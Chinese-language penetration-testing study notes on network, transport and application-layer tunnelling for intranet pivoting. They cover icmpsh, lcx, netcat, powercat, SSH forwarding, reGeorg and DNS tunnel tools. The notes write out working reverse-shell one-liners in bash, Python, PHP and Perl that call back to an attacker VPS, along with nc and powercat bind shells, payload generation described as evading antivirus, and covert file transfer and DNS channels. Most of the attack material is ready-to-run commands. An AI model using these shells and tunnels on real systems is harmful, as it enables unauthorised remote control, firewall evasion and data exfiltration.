网络层隧道
1.IPv6隧道
2.ICMP隧道
ICMP隧道工具有 PingTunnel,icmptunnel,lcmpsh,powershell icmp等
A.icmpsh
B.pingtunnel
icmpsh
https://github.com/bdamele/icmpsh
:::info
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh m.py IP(公网) IP(内网)
icmpsh.exe -t 公网IP -d 500 -b 30 -s 128
:::
使用本地模拟 ICMP
:::info
kali 192.168.145.130
win10 192.168.145.129
:::
全都是ICMP包的数据 ,证明是使用ICMP传输的
传输层隧道
Icx端口转发
:::info
1.Icx端口转发
A.内网端口转发
目标机器:
Icx.exe -slave 公网主机ip 4444 127.0.0.1 3389
VPS:
Icx.exe -listen 4444 5555
B.本地端口映射
lcx -tran 53目标主机ip 3389
没有找到exe 的 找一个 使用go开发的
https://github.com/cw1997/NATBypass
:::
netcat
端口扫描
nc -v -z 192.168.145.129 1-3389
这些是不存在的端口
这是存在的端口
也可以使用 nc -nv 192.168.145.129 1-80
扫描到还会返回网页数据
正向连接
正向连接
服务器执行:
nc -l -p 8888 -e cmd.exe //windows
nc -lvp 8888 -e /bin/sh //linux
本地主机执行:nc -vv 服务器ip 8888
反向shell
存在NC ,而且存在-e 参数
vps攻击机:nc -lvp 9999 // 监听9999端口
靶机:
nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1的9999端口
nc 1.1.1.1 9999 -e cmd.exe // Windows
不存在NC
vps攻击机:
nc -lvp 6666
靶机:
bash -I >& /dev/tcp/1.1.1.1/6666 0>&1 //而且是linux
存在python 环境
vps攻击机:nc -lvp 6666
靶机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
存在PHP环境
vps攻击机:nc -lvp 6666
靶机:php -r '$sock=fsockopen("192.168.145.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
存在Perl环境
Vps攻击机:nc -lvp 6666
靶机:perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'=
文件传输
发送端
nc -v 接收端的ip 端口号<被传输文件名
nc -v 0.0.0.0 9999 < test.jar
接收端
nc -l -v 端口号>要写入的文件名(跟被传输文件名可以不一样)
nc -l -v 9999 > test1.jar
但是貌似不行,没-e参数
传过来了是这么个数据
nc作为代理
使用nc作为一个简单的端口转发
ncat -l 8080 | ncat 192.168.1.1 80
命令实现单向的转发,将链接到本机8080的连接转发到192.168.1.1:80
实现双向管道
mkfifo 2way
ncat -l 8080 0<2way | ncat 192.168.0.1.1 1>2way
powercat
:::info
下载 powercat
https://github.com/besimorhino/powercat
导入 powercat
先设置权限
Set-ExecutionPolicy Unrestricted
再导入
Import-Module .\powercat.psl
查看帮助 -h
powercat -h
:::
PowerCat常用命令:
-l 监听模式
-c连接到侦听器
-p要连接或监听的端口
-e执行
-ep执行Powershell
-r中继。格式"-r tcp: 10.1.1.1:443"
-u通过UDP传输数据
-dns通过dns传输数据 -dnsftNDS故障阀值
-t超时选项。默认:60 -I输入:文件路径,字节数组或字符串
-o控制台输出类型:''主机'',''字节'',''字符串''
-of输出文件路径
-d连接后断开连接
-rep中继器。断开连接后重启
-g生成有效载荷
-ge生成编码有效载荷
-h打印帮助信息
powercat 正向连接
powercat -l -p 4444 -e cmd -v
nc 连接 nc 192.168.145.129 4444
powercat 反向连接
nc -l -p 8080 -vv
Windows 端 powercat -c 172.23.85.7 -p 8080 -v -e cmd.exe
win7反向连接win2008 并返回Powershell
win7 执行powercat -l -p 8080 -v
win 2008 执行powercat -c 192.168.145.10 -p 8080 -v -ep
Powercat 文件传输
win7 执行 powercat -l -p 8080 -of 路径 -v
win2008 powercat -c 192.168.145.10 -p 8080 -i 路径 -v
Powercat 生成 payload(躲避杀软)
win7powercat -l -p 8080 -e cmd -v -g >>shell.ps1
或者powercat -l -p 8080 -e cmd -v -ge
这样会生成编码
可以在 08 执行
powercat -E 生成后的编码
win2008 ./shell.ps1
Powercat - DNS协议(DNSCAT)
下载dnscat
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
再进入 server
cd dnscat2/server/
gem install bundler
bundle install
linux 端 ruby dnscat2.rb test.test -e open --no-cache
windows端powercat -c 172.23.85.7 -p 53 -dns test.test -e cmd
就会返回linux 端
输入
session -i 1
进行连接
因为是dns 所以反应比较慢
powercat 转发
win08 powercat -l -v -p 9999 -e cmd
win7 powercat -l -v -p 8000 -r tcp:192.168.145.129:9999
linux nc 172.23.85.7 8000 -vv
应用层隧道
SSH隧道
:::info
SSH协议原理
SSH中间人攻击原理
SSH隧道技术3种转发原理
三种转发技术的应用场景分析
动态转发的衍生利用技术
·本地端口转发+远程端口转发的应用场景
:::
在应用层的隧道通信技术是利用应用软件提供的端口发送数据,常用的隧道协议是SSH、 HTTP、 HTTPS和DNS。
大概理解为:
本质上就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。 SSH 端口转发能够提供两大功能: 1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。 2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。
SSH 配置文件
ssh 常用命令参数
:::info
创建隧道常用的参数说明:
-C:压缩传输,提高传输速度
-f:将ssh转入后台执行,不占用当前的shell
-N:建立静默连接(不回显ssh页面)
-g:允许远程主机连接本地用于端口转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态端口转发(socket代理)
-p:指定ssh端
:::
本地转发和远程转发
SSH 端口转发自然需要 SSH 连接,而 SSH 连接是有方向的,从 SSH Client 到 SSH Server 。而我们的应用也是有方向的,比如需要连接 LDAP Server 时,LDAP Server 自然就是 Server 端,我们应用连接的方向也是从应用的 Client 端连接到应用的 Server 端。如果这两个连接的方向一致,那我们就说它是本地转发。而如果两个方向不一致,我们就说它是远程转发。 另一个方便记忆的方法是,Server 端的端口都是预定义的固定端口(SSH Server 的端口 22,LDAP 的端口 389),而 Client 端的端口都是动态可供我们选择的端口(如上述例子中选用的 7001 端口)。如果 Server 端的两个端口都在同一台机器,Client 端的两个端口都在另一台机器上,那么这就是本地连接;如果这四个端口交叉分布在两个机器上,每台机器各有一个 Server 端端口,一个 Client 端端口,那就是远程连接
本地端口转发
:::info
ssh -L 本地端口:目标主机:目标端口 jump
ssh -L 2121:1.1.10:21 [email protected]
:::
都挺简单,由于 命令就几条,但是要配置环境就没去配置了
参考 :
https://blog.csdn.net/weixin_42742658/article/details/122735119
https://zhuanlan.zhihu.com/p/513691592
https://blog.csdn.net/qq_38844490/article/details/126776873
HTTP协议 —reGeorg隧道
reGeorg 简介
隧道工具 — reGeorg
https://github.com/sensepost/reGeorg
reGeorg 是一个内网穿透工具,基于 socks5,而且支持众多脚本。因为使用频繁,所以较多的杀软都会拦截,需要做免杀处理。
免杀 版本reG 下载地址:https://github.com/L-codes/Neo-reGeorg
此工具还做了加密,所以很多特征都没有了
-------------------------------------------------------------------------------------------------------------------
把其中的脚本放在目标主机上
这里把 tunnel.php 放在目标主机中 ,
这个文件似乎有点问题 换成 tunnel.nosocket.php
连接上了
配置socks代理
vim /etc/proxychains4.conf
成功执行
DNS 隧道工具
iodine :
https://github.com/yarrick/iodine
dnscat:
https://github.com/iagox86/dnscat2